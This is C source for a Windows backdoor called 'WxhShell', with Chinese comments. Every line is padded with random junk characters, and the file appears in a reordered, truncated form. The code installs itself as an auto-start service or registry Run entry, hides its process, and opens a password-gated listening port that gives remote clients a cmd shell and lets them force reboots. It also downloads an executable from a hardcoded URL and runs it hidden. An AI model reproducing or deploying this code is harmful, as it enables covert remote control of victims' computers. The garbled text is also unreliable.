    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .0S.7w3dZo  
    else { SJ;u,XyWn  
    closesocket(wsh); a1]k(AuQrC  
    ExitThread(0); d {a^  
    } I2(5]85&]s  
    break; T+zZOI  
    } |f&)@fUI  
  // 关机 9 W> <m[O  
  case 'd': { |j$&W;yC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IY?[0S  
    if(Boot(SHUTDOWN)) 3Ln~"HwP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V= U=  
    else { a;D{P`%n  
    closesocket(wsh); at${^,&  
    ExitThread(0); }kdYR#{s  
    } V}=9S@$o  
    break; Id(o6j^J_  
    } 8E"Ik ~  
  // 获取shell UMuqdLaT9  
  case 's': { 8P0XY S@  
    CmdShell(wsh); *r$Yv&c,  
    closesocket(wsh); k!b\qS~Q  
    ExitThread(0); e'mm42  
    break; ! R?r)G5E  
  } snO d 3Bw  
  // 退出 v-J*PB.0p  
  case 'x': { (m4`l_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UP}Y s*  
    CloseIt(wsh); <Vm+Lt9  
    break; 2?58=i%b  
    } tzJdUZJ  
  // 离开 \,i9m9;y  
  case 'q': { aG}ju;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E!&A[TlX\  
    closesocket(wsh); tbF>"?FY/  
    WSACleanup(); Nt9M$?\P  
    exit(1); A1zM$ wDU  
    break; :2{6Pa(eg  
        } kG/:fP  
  } fGHYs  
  } _?kjIF  
p<*3mbgGO  
  // 提示信息 k`U")lv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z;=G5O uvQ  
} YwyP+S r\  
  } $Mm=5 K%  
l7]:b8  
  return; %>Z^BM<e  
} l^w=b~|7=  
Nl,M9  
// shell模块句柄 ^EWkJW,Yc  
int CmdShell(SOCKET sock) Q{T6t;eH  
{ 7T9m@  
STARTUPINFO si; MWl?pG!Y  
ZeroMemory(&si,sizeof(si)); eRc+.m[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Qyvn A|&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Mh"DPt9@J  
PROCESS_INFORMATION ProcessInfo; u+UtvzUC  
char cmdline[]="cmd"; xDv$z.=Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |1wfLJ4--l  
  return 0; .|iMKRq  
} t+7h(?8L  
r:lv[/ D  
// 自身启动模式 GOuBNaU {  
int StartFromService(void) 5[}3j1  
{ Osncl5PD)  
typedef struct s S(t }$  
{ &NZl_7P L  
  DWORD ExitStatus; =(:{>tO_"  
  DWORD PebBaseAddress; (? j $n?p  
  DWORD AffinityMask; 8}z]B^?Fy  
  DWORD BasePriority; yH5^EY7rQ  
  ULONG UniqueProcessId; 5S`_q&  
  ULONG InheritedFromUniqueProcessId; jA_w OR7$  
}   PROCESS_BASIC_INFORMATION; !D6   
/ RU'~(  
PROCNTQSIP NtQueryInformationProcess; qpzzk9ba[  
GSo&$T;B6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3fPd|F.kF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r8>(ayJ,  
Xmr|k:z  
  HANDLE             hProcess; uvR9BL2=  
  PROCESS_BASIC_INFORMATION pbi; JLo'=(  
XCr\Y`,Z@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gv)F`uRWA  
  if(NULL == hInst ) return 0; mOgsO  
&AM<H}>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7R9.g6j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qNb|6/DG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f d~a\5%e  
+@*}_%^l"  
  if (!NtQueryInformationProcess) return 0; P7ktr?V0a  
9D@ $Y54  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YuufgPE*H  
  if(!hProcess) return 0; i4;`dCT|A  
rP$vZ^/c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RO.GD$ 3n  
z\64Qpfm  
  CloseHandle(hProcess); r*?rwtFtg  
Mx? ]7tI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y.,S}7l:  
if(hProcess==NULL) return 0; /){F0Zjjt  
|^!#x Tj  
HMODULE hMod; XfY~q~f8  
char procName[255]; EC9D.afy&  
unsigned long cbNeeded; X 'D~#r  
"9F]Wv/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &q~**^;'  
}#0MJ6L  
  CloseHandle(hProcess); 4HX qRFUD  
|]=. ^  
if(strstr(procName,"services")) return 1; // 以服务启动 i T* !3  
LF o{,%B  
  return 0; // 注册表启动 'lmZ{a6  
} { a2Y7\C/  
4cZig\mE;  
// 主模块 w1Ar[ P  
int StartWxhshell(LPSTR lpCmdLine) fDe4 [QQ8  
{ 55lL aus  
  SOCKET wsl; p }p1>-j  
BOOL val=TRUE; hv" 'DP  
  int port=0; [f`^+,U  
  struct sockaddr_in door; @ qFE6!  
'zYKG5A  
  if(wscfg.ws_autoins) Install(); w\(LG_n|  
lIR0jgP@z  
port=atoi(lpCmdLine); Hgu:*iYA  
H<tk/\C  
if(port<=0) port=wscfg.ws_port; <eWGvIEP[  
$xx5+A%,  
  WSADATA data; 38Rod]\E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $7Sbz&)y3  
/JP]5M)   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f1eY2UtWQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W40GW  
  door.sin_family = AF_INET; {8L)Fw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 31BN ?q  
  door.sin_port = htons(port); Y# <38+Gd  
HbQvu@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "v.]s;g  
closesocket(wsl); P<+y%g(({  
return 1; }h+_kRQ  
} TWv${m zE  
2m`4B_g A  
  if(listen(wsl,2) == INVALID_SOCKET) { :V)W?~Z7B  
closesocket(wsl); ?(8z O"  
return 1; @(:ah  
} _ F0qq j  
  Wxhshell(wsl); Dq T)%a  
  WSACleanup(); R'E8>ee; ^  
qF9rY)ifm  
return 0; 7Pt*V@DHS  
j s(E-d/  
} Bjg 21bw^  
tykA69X\W  
// 以NT服务方式启动 , N :'Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,gU%%>-_~w  
{ | ?6wlf  
DWORD   status = 0; tE)%*z@<Lt  
  DWORD   specificError = 0xfffffff; 4SG22$7W  
C:tA|<b|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P\ yt!S2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E)(`Z0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,v"/3Ff{,  
  serviceStatus.dwWin32ExitCode     = 0; ++KY+j.^  
  serviceStatus.dwServiceSpecificExitCode = 0; vS~y~uU%6  
  serviceStatus.dwCheckPoint       = 0; JOj\#!\>k0  
  serviceStatus.dwWaitHint       = 0; X,- ' v[z  
Z&mV1dxR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NJYx.TL  
  if (hServiceStatusHandle==0) return; <`dF~   
qZ!1>`B  
status = GetLastError(); \!UNa le  
  if (status!=NO_ERROR) Y^)VHE]  
{ &77]h%B >  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ivdw1g|)h  
    serviceStatus.dwCheckPoint       = 0; y$)gj4k/D  
    serviceStatus.dwWaitHint       = 0; my#qmI  
    serviceStatus.dwWin32ExitCode     = status; Isq3YY  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9Ao0$|@b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {GF>HHQb  
    return; 1B3,lYBM  
  } mB(*)PwZ  
B0c}5V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i '!M<>7  
  serviceStatus.dwCheckPoint       = 0; .?SClTqg  
  serviceStatus.dwWaitHint       = 0; }?P~qJ|1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t\2myR3  
} c ;3bX6RD*  
PN:8H>  
// 处理NT服务事件,比如:启动、停止 /p,D01Ws}(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [5%/{W,~m  
{ hp(n;(OR  
switch(fdwControl) m[^;HwJ  
{ X.0/F6U  
case SERVICE_CONTROL_STOP: dE5DH~ldV  
  serviceStatus.dwWin32ExitCode = 0; ;{|a~e?Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @C=, >+D  
  serviceStatus.dwCheckPoint   = 0; *8p\.za1  
  serviceStatus.dwWaitHint     = 0; M3Kpp _d_!  
  { ErC~,5dj;n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l,/q# )5[  
  } $8&HpX#h$  
  return; ,8uu,,c  
case SERVICE_CONTROL_PAUSE: ;U<) $5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T[)) ful  
  break; 0:G@a&Lr  
case SERVICE_CONTROL_CONTINUE: 1at$_\{.(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Fga9  
  break; 4~a0   
case SERVICE_CONTROL_INTERROGATE: Pyi PhOJe  
  break; $2BRi@  
}; 5q]u:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {s8''+Q#(-  
} hk ./G'E  
T GMHo{ ]  
// 标准应用程序主函数 89l_%To  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }jU{RR%6B  
{ 9[N' HpQ3  
nVG\*#*]|  
// 获取操作系统版本 NQfIY`lt'  
OsIsNt=GetOsVer(); Vm8;{Sq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G%YD2<V  
@6*<Xs =  
  // 从命令行安装 y<F$@  
  if(strpbrk(lpCmdLine,"iI")) Install(); `Uk,5F5   
sSG]I%oB3  
  // 下载执行文件 hl~(&D1^  
if(wscfg.ws_downexe) { "4"\tM(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S=aXmz<  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~Y)Au?d(a  
} qe(X5 ?#;  
`j>qOT  
if(!OsIsNt) { j<deTK;.  
// 如果时win9x,隐藏进程并且设置为注册表启动 b&~uK"O'7d  
HideProc(); #Mbt%m  
StartWxhshell(lpCmdLine); !^axO  
} #bu`W!p}  
else 4v2(YJ%u  
  if(StartFromService()) (kp}mSw  
  // 以服务方式启动 >\DXA)nc  
  StartServiceCtrlDispatcher(DispatchTable); EZP2Bb5g  
else 0nie>  
  // 普通方式启动 D3.sR\Hxf  
  StartWxhshell(lpCmdLine); d c&Qi_W  
BpP\C!:^  
return 0; !+)$;`  
} L&3=5Bf9  
Tjs-+$P+  
uFdSD  
\((>i7C  
=========================================== ^J% w[FE  
#UND'c(5  
[RpFC4W  
p'w[5'  
cJ8*[H<NV  
xC;$/u%'  
" n; rOH[P  
F$ h/k^  
#include <stdio.h> Kg]( kP  
#include <string.h> qE,%$0g  
#include <windows.h> O1#rCFC|y  
#include <winsock2.h> hChM hc  
#include <winsvc.h> ; wHuL\  
#include <urlmon.h> h y[_  
DBmcvC  
#pragma comment (lib, "Ws2_32.lib") *R~oA`  
#pragma comment (lib, "urlmon.lib") =m/2)R{  
e9B,  
#define MAX_USER   100 // 最大客户端连接数 W)4xO>ck*3  
#define BUF_SOCK   200 // sock buffer It_yh #s  
#define KEY_BUFF   255 // 输入 buffer t*}<v@,  
P;_dil G  
#define REBOOT     0   // 重启 JAiV7v4&R  
#define SHUTDOWN   1   // 关机 :m$%D]WY  
4|+ |L_  
#define DEF_PORT   5000 // 监听端口 qw, >~  
_^'k_ a  
#define REG_LEN     16   // 注册表键长度 ;%k%AXw  
#define SVC_LEN     80   // NT服务名长度 t#pY2!/T3  
8dZH&G@;  
// 从dll定义API  zIAMM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 15eHddd  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rLKDeB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WG}QLcP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @pS[_!EqYz  
d?{2A84S  
// wxhshell配置信息 8c/Ii"1  
struct WSCFG { nVM`&azD  
  int ws_port;         // 监听端口 }E1Eq  
  char ws_passstr[REG_LEN]; // 口令 qJ!oH&/cD  
  int ws_autoins;       // 安装标记, 1=yes 0=no e5XikL u  
  char ws_regname[REG_LEN]; // 注册表键名 [&`>&u@MK  
  char ws_svcname[REG_LEN]; // 服务名 blPC"3}3Vd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v Cmh3TQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r=[}7N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9=}/t9k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /6.b>|zF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JWdG?[$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /nmfp&@  
mn4;$1~e>H  
}; ut,"[+ J  
L%8"d6  
// default Wxhshell configuration plIx""a^h  
struct WSCFG wscfg={DEF_PORT, 'K"*4B^3  
    "xuhuanlingzhe", p-6.:y  
    1, iLI]aZ   
    "Wxhshell",  nm~  
    "Wxhshell", J~Ph)|AiS  
            "WxhShell Service", >WEg8'#O  
    "Wrsky Windows CmdShell Service", nagto^5X  
    "Please Input Your Password: ", vVf!XZF  
  1, )/pPY  
  "http://www.wrsky.com/wxhshell.exe", 5(|ud)v  
  "Wxhshell.exe" HWU{521  
    }; mT9\%5d3  
.KLuGb 3JJ  
// 消息定义模块 t&uHn5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lKwcT!Q4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >k jJq]A2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Dm^kuTIG  
char *msg_ws_ext="\n\rExit."; f:0n-me  
char *msg_ws_end="\n\rQuit."; n%0vQ;Z1  
char *msg_ws_boot="\n\rReboot..."; [eN{Ft0x  
char *msg_ws_poff="\n\rShutdown..."; ,5?MRqCM  
char *msg_ws_down="\n\rSave to "; W!^=)Qs  
w#$k$T)  
char *msg_ws_err="\n\rErr!"; !58JK f  
char *msg_ws_ok="\n\rOK!"; ~S6N'$^  
CYu8J@(\~g  
char ExeFile[MAX_PATH]; %G SSy_c  
int nUser = 0; =+L>^w#6=  
HANDLE handles[MAX_USER]; R{B~Now3  
int OsIsNt; K7Vr$,p  
[<;2C  
SERVICE_STATUS       serviceStatus; `7A@\Ha3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NeEV !V8  
fpi6pcof  
// 函数声明 Q!{Dw :7  
int Install(void); )1,&YJM*6l  
int Uninstall(void); cOgtBEhn  
int DownloadFile(char *sURL, SOCKET wsh); iy"K g]  
int Boot(int flag); 'W*F[U*&HP  
void HideProc(void); rY= #^S  
int GetOsVer(void); 463dLEd  
int Wxhshell(SOCKET wsl); }{y$$X<:  
void TalkWithClient(void *cs); 1hWz%c|  
int CmdShell(SOCKET sock); 4{g|$@s(  
int StartFromService(void); qh 3f  
int StartWxhshell(LPSTR lpCmdLine); xL"% 2nf  
F)w83[5_d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8IH gsW";  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I2T2'_I  
k#&SWp=  
// 数据结构和表定义 .#J3UZ  
SERVICE_TABLE_ENTRY DispatchTable[] = co80M;4  
{ : \OvVS/  
{wscfg.ws_svcname, NTServiceMain}, ~dLZ[6Z  
{NULL, NULL} nSiNSLv  
}; H%N+V r3O,  
||HIp9(3  
// 自我安装 (I.`bR  
int Install(void) >>D i  
{ mK-:laIL"  
  char svExeFile[MAX_PATH]; 1 %`:8  
  HKEY key; '7R'fhiO/3  
  strcpy(svExeFile,ExeFile); eV0S:mit  
{[?|RC;\Y  
// 如果是win9x系统,修改注册表设为自启动 Biy 9jIWI  
if(!OsIsNt) { bg}77Y'^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *% *^a\2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S/;Y4o  
  RegCloseKey(key); 4vS!99v)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >6 #\1/RP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]Dg0@Y  
  RegCloseKey(key); bn35f<+  
  return 0; M(uB ;Te  
    } 9a%@j ]  
  } T7~v40jn|  
} AUde_ 1hi  
else {  )S;ps  
"r"An"  
// 如果是NT以上系统,安装为系统服务 ~7a BeD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cx(F,?SbS  
if (schSCManager!=0) CF"3<*%x  
{ ""^BW Re D  
  SC_HANDLE schService = CreateService oZ[ w  
  ( 55b |zf  
  schSCManager, E|  
  wscfg.ws_svcname, e~;)-Z  
  wscfg.ws_svcdisp, V2%wb\_z  
  SERVICE_ALL_ACCESS, qEr[fC@x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [i1D~rCcn  
  SERVICE_AUTO_START, =_J<thp  
  SERVICE_ERROR_NORMAL, CD[=z)<z{  
  svExeFile, G\ZRNb  
  NULL, :q<%wLs  
  NULL, 66^t[[  
  NULL, ^)l@7XxD  
  NULL, @|Bp'`j%J  
  NULL qXGLv4c`Q  
  ); )\Q|}JV  
  if (schService!=0) H> iZVE  
  { nV*sdSt  
  CloseServiceHandle(schService); ,z )NKt#  
  CloseServiceHandle(schSCManager); ss8v4@C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #!,`EU  
  strcat(svExeFile,wscfg.ws_svcname); p|V1Gh<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZMg9Qt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  7`@?3?  
  RegCloseKey(key); Bqlc+d:  
  return 0; \Pmk`^T  
    } )#~fS28j  
  } N|2  
  CloseServiceHandle(schSCManager); B1#>$"_0}=  
} >C&<dO#i  
} M~F2cX W  
$ _Bu,;  
return 1; / i2-h  
} 4(GgaQFO?  
WCTW#<izm  
// 自我卸载 `Kw8rG\]:  
int Uninstall(void) RmV/wY  
{ D@W3;T^  
  HKEY key; nvVsO>2{ o  
3#9r4;&  
if(!OsIsNt) { TbAdTmW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XPo'iI-  
  RegDeleteValue(key,wscfg.ws_regname); igj@{FN  
  RegCloseKey(key); )}\@BtcjA]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )ZyuF(C&  
  RegDeleteValue(key,wscfg.ws_regname); !>Y\&zA  
  RegCloseKey(key); gD+t'qg$  
  return 0; 59BHGvaF  
  } c$:=d4t5$  
} Pt0}9Q  
} (G%gVk]  
else { s{J!^q  
KqUSTR1e[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @/NZ>.  
if (schSCManager!=0) i=H>D  
{ H6S vU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :42;c:85  
  if (schService!=0) Mqf}Aiqk;  
  { '=G Ce%A  
  if(DeleteService(schService)!=0) { cYy @  
  CloseServiceHandle(schService); A<CXdt+t  
  CloseServiceHandle(schSCManager); MXJ9,U{<C'  
  return 0; C{i;spc!bi  
  } #]a51Vss  
  CloseServiceHandle(schService); vek:/'sj3p  
  } J K]tcP  
  CloseServiceHandle(schSCManager); IBNQmVRrI  
} TIWLp  
} %<#3_}"T|  
^*ez j1  
return 1; @:QdCG+  
} (My$@l973  
)u)$ `a  
// 从指定url下载文件 a:^ Gr%  
int DownloadFile(char *sURL, SOCKET wsh) }cK~=@7tK  
{ 8|qB 1fB  
  HRESULT hr; C5PBfn<j  
char seps[]= "/"; nC.2./OwMf  
char *token; +ls*//R  
char *file; : tqm2t  
char myURL[MAX_PATH]; x`6^+>y^  
char myFILE[MAX_PATH]; Sc$8tLDLj  
-@V"i~g<e  
strcpy(myURL,sURL); FO>(QLlH  
  token=strtok(myURL,seps); mS~ ]I$  
  while(token!=NULL) UK_aqB  
  { DcR}pQ(e  
    file=token; 5h=TV  
  token=strtok(NULL,seps); =<zSF\Zr_  
  } C"^hMsU8  
X8SRQO^  
GetCurrentDirectory(MAX_PATH,myFILE); \pD=Lv9  
strcat(myFILE, "\\"); QUZQY`' @  
strcat(myFILE, file); N|O]z  
  send(wsh,myFILE,strlen(myFILE),0); +\8krA  
send(wsh,"...",3,0); i@R$g~~-D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /< 7C[^h{-  
  if(hr==S_OK) PWN'.HQ  
return 0; i Kk"j   
else +=~%S)9F  
return 1; 5 -WRv;  
[aM'  
} Li-(p"  
C| L^Ds0  
// 系统电源模块 u !3]RGJ  
int Boot(int flag) K7xWE,y  
{ $FusDdCv3  
  HANDLE hToken; 'Ywpdzz[  
  TOKEN_PRIVILEGES tkp; " $IXZ  
jy(+ 0F  
  if(OsIsNt) { Q6!v3P/h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9kX=99kf[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M|({ 4C  
    tkp.PrivilegeCount = 1; %w8GGm8^/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _:Jp*z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 71.\`'  
if(flag==REBOOT) { {pb9UUP2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H&=n:'k^  
  return 0; sL AuR  
} :EmQ_?(^  
else { ;64mf`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4]aiT8))  
  return 0; 0 oj{e9h  
} :9F''f$AP  
  } :IVk_[s  
  else { 8hKP  
if(flag==REBOOT) { w*u{;v#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8 ih;#I=q  
  return 0; pPyvR;NJ  
} Q-8'?S  
else { mYh5#E41J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %`?;V;{=  
  return 0; ?)' 2l6  
} mo;)0Vq2l  
} p>:ef<.i  
G=Hf&l  
return 1; )b&-3$?  
} GT'7,+<?N  
Zv|p>q`R2  
// win9x进程隐藏模块 09 39i_  
void HideProc(void) /j' B\,  
{ F?8BS*r_  
@ 2!C^}d3F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .;HIEj zq  
  if ( hKernel != NULL ) Cl6m$YUt  
  { B+Y5b5+wOQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z%+BWS3YqY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C1T=O  
    FreeLibrary(hKernel); 7Y32p'  
  } 1 @%B?  
BeI;#m0  
return; Q'|0?nBOY  
} OpK. Lsd0y  
8wII{FHX  
// 获取操作系统版本 p"[O#*p  
int GetOsVer(void) kYxl1n v  
{ eB= v~I3  
  OSVERSIONINFO winfo; a(@p0YpKT  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =9pw uH  
  GetVersionEx(&winfo); ;NH~9# t:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !6zyJc @01  
  return 1; T3Frc ]6,4  
  else SLtSqG7~  
  return 0; iz Ph1YA  
} n1*&%d'7  
W}XYmF*_?  
// 客户端句柄模块 T~%H%O(F  
int Wxhshell(SOCKET wsl) WHUT/:?f  
{ o3n3URu\  
  SOCKET wsh; mG831v?  
  struct sockaddr_in client; $s-9|Lbs`  
  DWORD myID; S~0JoCeo  
k]?z~p  
  while(nUser<MAX_USER) rQ    
{ %M{k.FE(  
  int nSize=sizeof(client); Mlv<r=E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )?w&oIj5  
  if(wsh==INVALID_SOCKET) return 1; g .x=pt  
2yN%~C?$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8FzHNG  
if(handles[nUser]==0) q*6q}s3n  
  closesocket(wsh); JbE?a[Eg?  
else E-~mOYea  
  nUser++; iOT)0@f'  
  } [J0*+C9P*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^ <qrM  
CQdBf3q  
  return 0; tTotPPZf}  
} YP[LQ>  
'nRp}s1^[  
// 关闭 socket NJ ZXs_%>$  
void CloseIt(SOCKET wsh) n6b3E *  
{ 6*ZU}xT  
closesocket(wsh); [}>#YPZ  
nUser--; 1~%o}+#-  
ExitThread(0); ,e9CJ~a  
} u8Y~_)\MA  
NSw<t9Yi  
// 客户端请求句柄 g b -Bxf  
void TalkWithClient(void *cs) ngP7'1I  
{ 2~f6~\4GL+  
a{h%DpG  
  SOCKET wsh=(SOCKET)cs; ZjqA30!  
  char pwd[SVC_LEN]; /ZHO>LNN|  
  char cmd[KEY_BUFF]; ||uZ bP@  
char chr[1]; h4f ~5- Y  
int i,j; ZP"yq6!i  
ezp<@'0ZT  
  while (nUser < MAX_USER) { !#q{Z>H`  
hM~eJv  
if(wscfg.ws_passstr) { FbveI4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /H')~!Yz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2Ok?@ZdjA{  
  //ZeroMemory(pwd,KEY_BUFF); mc?';dEG  
      i=0; #c-b}.R  
  while(i<SVC_LEN) { MDk*j,5V  
LI[ ?~P2\  
  // 设置超时 JwZ?hc  
  fd_set FdRead; TfJL+a0  
  struct timeval TimeOut; OCCEL9d  
  FD_ZERO(&FdRead); EYG"49 c  
  FD_SET(wsh,&FdRead); TMK'(6dH  
  TimeOut.tv_sec=8; tWm>j  
  TimeOut.tv_usec=0; J' W}7r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n!a<:]b<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E *BSfn&i  
W9dYljnZ8i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q69H ^E=  
  pwd=chr[0]; Q uB+vL  
  if(chr[0]==0xd || chr[0]==0xa) { yz ?q(]  
  pwd=0; @r F/]UJ  
  break; MEEAQd<*  
  } RcQ>eZHl  
  i++; G+U3wF],  
    } !2z!8kI  
l]H0g[  
  // 如果是非法用户,关闭 socket ``!GI'^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2}w#3K  
} YgEM:'1f  
?w*yW;V`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yO=p3PV d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <;%0T xK|U  
E/ijvuO  
while(1) { \<ZLoy_  
4.8nY\_WF  
  ZeroMemory(cmd,KEY_BUFF); {7qA&c=  
>8|+%pK8<  
      // 自动支持客户端 telnet标准   `fz,Lh*v  
  j=0; 2JVxzj<~`  
  while(j<KEY_BUFF) { :j@8L.<U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (3VGaUlx  
  cmd[j]=chr[0]; ),=@q+{E{  
  if(chr[0]==0xa || chr[0]==0xd) { SG:bM7*1'  
  cmd[j]=0; ACb/ITu  
  break; s"i~6})K<$  
  } (= 9 wo  
  j++; hT'=VN  
    } yyP'Z~0  
X D)  8?  
  // 下载文件 zI^Da!r.  
  if(strstr(cmd,"http://")) { L]I3P|y_  
